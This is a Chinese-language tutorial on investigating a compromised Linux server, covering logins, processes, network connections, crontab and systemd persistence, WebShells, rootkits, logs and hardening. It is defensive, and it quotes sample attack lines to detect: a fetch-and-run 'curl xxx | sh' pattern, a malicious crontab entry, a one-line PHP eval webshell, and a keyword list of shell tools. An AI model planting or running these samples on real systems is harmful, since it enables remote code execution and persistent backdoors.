当前位置:首页>Linux>Linux 入侵排查分析与总结

Linux 入侵排查分析与总结

  • 2026-10-11 08:27:51
Linux 入侵排查分析与总结

Linux 被入侵后,真正危险的往往不是“木马本身”,而是:

  • 权限已被长期控制
  • 存在隐藏后门
  • 数据已经泄露
  • 横向渗透已开始
  • 日志被清理
  • 定时任务持续回连

所以生产环境里,入侵排查的核心目标不是“删病毒”,而是:

“确认攻击路径、控制范围、持久化方式、数据影响范围,并完成彻底清除与加固。”


一、Linux 入侵排查总体流程(标准流程)

1. 发现异常    ↓2. 现场保护    ↓3. 判断是否失陷    ↓4. 查攻击入口    ↓5. 查权限提升    ↓6. 查持久化后门    ↓7. 查横向移动    ↓8. 查数据泄露    ↓9. 清理与恢复    ↓10. 安全加固    ↓11. 复盘总结

二、第一阶段:发现异常(入侵迹象)

典型异常现象

现象
风险
CPU持续100%
挖矿/恶意脚本
网络带宽跑满
数据外传/DDOS
SSH频繁登录
暴力破解
新增未知账号
后门账户
crontab异常
定时木马
/tmp大量文件
下载器
nginx/php异常进程
WebShell
文件时间异常
篡改
安全软件被关闭
已被控制

三、第二阶段:现场保护(极其重要)

很多人第一件事:

rm-rf 木马reboot

这是严重错误。

因为:

  • 攻击证据会丢失
  • 内存马消失
  • 日志中断
  • 无法溯源

正确做法

1)不要重启

先保留现场。


2)隔离网络

限制外连:

iptables -P OUTPUT DROP

或者:

拔网线隔离VLAN安全组隔离

3)备份日志

重点:

/var/log//tmp//var/tmp//root/.bash_history/home/*/.bash_history

4)记录当前状态

datewhowlastlastbuptime

四、第三阶段:系统失陷判断


1)检查登录情况

当前登录

wwhousers

历史登录

lastlast -alastb

重点看:

  • 异地IP
  • 非工作时间
  • root登录
  • 爆破痕迹

SSH日志

RHEL/Kylin

/var/log/secure

Ubuntu

/var/log/auth.log

排查:

grep "Failed password" /var/log/securegrep "Accepted password"  /var/log/secure

2)检查账户异常

查看UID=0账户

awk-F: '$3==0 {print $1}' /etc/passwd

正常一般只有:

root

检查空密码

awk -F: 'length($2)==0 {print $1}' /etc/shadow

检查新增账号

cat /etc/passwd

重点:

  • test
  • admin
  • oracle1
  • mysql1
  • nobody1

五、第四阶段:进程排查(核心)


1)CPU异常

tophtoppidstat -u1

2)查看恶意进程

ps-efpstree -ap

重点:

  • 随机名称
  • 隐藏路径
  • /tmp启动
  • curl/wget/bash组合

例如:

bash-ccurl xxx | sh

3)查看进程对应文件

ls-l /proc/PID/exe

4)查看已删除但仍运行程序

这是高级后门常见手法:

lsof | grep deleted

5)检查启动来源

cat /proc/PID/cmdline

六、第五阶段:网络连接排查


1)查看外联IP

ss -antp

或者:

netstat -antp

重点:

  • 国外IP
  • 高危端口
  • 长连接
  • 挖矿池地址

2)查看监听端口

ss -lntp

重点:

  • 4444
  • 5555
  • 6666
  • 7777
  • 31337

3)定位进程

ss -antp | grep PID

七、第六阶段:计划任务排查(重灾区)

攻击者最喜欢:

  • crontab
  • systemd
  • rc.local

实现持久化。


1)检查crontab

用户级

crontab -l

全局

cat /etc/crontabls /etc/cron.d/

2)检查恶意命令

重点:

curlwgetbashpythonncperl

例如:

*/1 * * * * curl xx | sh

3)检查开机启动

systemctl list-unit-files

rc.local

cat /etc/rc.local

八、第七阶段:WebShell 排查

生产环境最常见攻击入口:

  • PHP WebShell
  • Java反序列化
  • 文件上传漏洞

1)查最近修改文件

find /var/www -mtime-3

2)查可疑PHP函数

grep-R"eval(" /var/wwwgrep-R"base64_decode" /var/wwwgrep-R"assert(" /var/www

3)查一句话木马

常见:

<?php@eval($_POST['cmd']);?>

九、第八阶段:Rootkit 排查

Rootkit 会隐藏:

  • 进程
  • 端口
  • 文件

工具:

rkhunter

rkhunter --check

chkrootkit

chkrootkit

十、第九阶段:日志分析(溯源核心)


1)SSH爆破分析

grep"Failed password" /var/log/secure \| awk'{print $(NF-3)}' \| sort | uniq -c | sort-nr

2)成功登录IP

grep"Accepted" /var/log/secure

3)Web攻击日志

Nginx:

/var/log/nginx/access.log

重点:

  • SQL注入
  • 上传木马
  • scanner
  • ../../

十一、第十阶段:文件完整性检查


检查关键文件

rpm -Va

重点:

  • sshd
  • sudo
  • bash
  • systemd

Debian/Ubuntu

debsums

十二、第十一阶段:内存与高级排查

高级攻击:

  • 内存马
  • 无文件攻击
  • LD_PRELOAD
  • eBPF Rootkit

1)检查LD_PRELOAD

cat /etc/ld.so.preload

2)检查隐藏模块

lsmod

3)检查异常so

find / -name"*.so"

十三、第十二阶段:数据泄露排查

重点:

内容
风险
数据库导出
数据泄露
压缩包
打包外传
FTP/SCP
数据传输
云存储工具
外传

查大文件

find / -type f -size+500M

查压缩包

find / -name"*.tar.gz"

十四、第十三阶段:应急处置


1)封禁恶意IP

firewall-cmd --add-rich-rule='rule family="ipv4" source address="x.x.x.x" reject'

2)杀掉恶意进程

kill-9 PID

3)删除计划任务

crontab -e

4)删除后门账号

userdel -r hacker

十五、第十四阶段:恢复与重建

真正安全的做法:

不建议:

“删木马继续用”

因为:

  • Rootkit可能仍存在
  • 内核可能已被替换
  • 后门可能隐藏

推荐:

重装系统

并:

  • 更换全部密码
  • 重置SSH Key
  • 重建证书
  • 重建Token

十六、Linux 入侵常见攻击路径

攻击入口
占比
SSH弱密码
极高
WebShell
极高
Redis未授权
高
Docker逃逸
中
内核漏洞
中
第三方组件漏洞
高

十七、企业级安全加固建议


SSH安全

PermitRootLogin noPasswordAuthentication no

Fail2ban

推荐部署:

Fail2Ban


开启审计

auditd

文件完整性

推荐:

  • AIDE
  • Tripwire

最小权限

不要:

所有人sudo

十八、企业级入侵排查标准工具箱

工具
用途
top
性能分析
ss
网络分析
lsof
文件句柄
auditd
审计
tcpdump
抓包
rkhunter
Rootkit
chkrootkit
Rootkit
strace
系统调用
gdb
调试
Volatility
内存取证

十九、真实案例(典型)


案例1:Redis未授权导致挖矿

现象:

CPU 100%

发现:

crontab 每分钟下载xmrig

攻击路径:

Redis未授权→ 写SSH Key→ 下载挖矿程序→ 定时守护

案例2:Nginx WebShell

现象:

nginx worker CPU异常

发现:

eval(base64_decode())

日志:

POST /upload.php

二十、企业标准化入侵排查 Checklist


基础检查

[ ] 登录日志[ ] SSH异常[ ] 新增用户[ ] sudo异常

进程检查

[ ] 高CPU[ ] deleted进程[ ] /tmp执行

网络检查

[ ] 外联IP[ ] 异常端口[ ] 长连接

持久化检查

[ ] crontab[ ] rc.local[ ] systemd

Web检查

[ ] WebShell[ ] 上传漏洞[ ] access.log

二十一、生产环境最佳实践总结

真正专业的应急响应:

不是:

“删掉木马”

而是:

发现攻击链→ 判断影响范围→ 确认横向移动→ 阻断扩散→ 保留证据→ 重建系统→ 安全加固

二十二、Linux 入侵排查核心思维(最重要)

企业里真正危险的不是:

“已经发现的木马”

而是:

“还没发现的持久化后门”

所以高级运维/SRE/安全工程师做应急时:

  • 先保现场
  • 再查攻击链
  • 最后重建恢复

而不是:

rm -rf 一把梭

最新文章

随机文章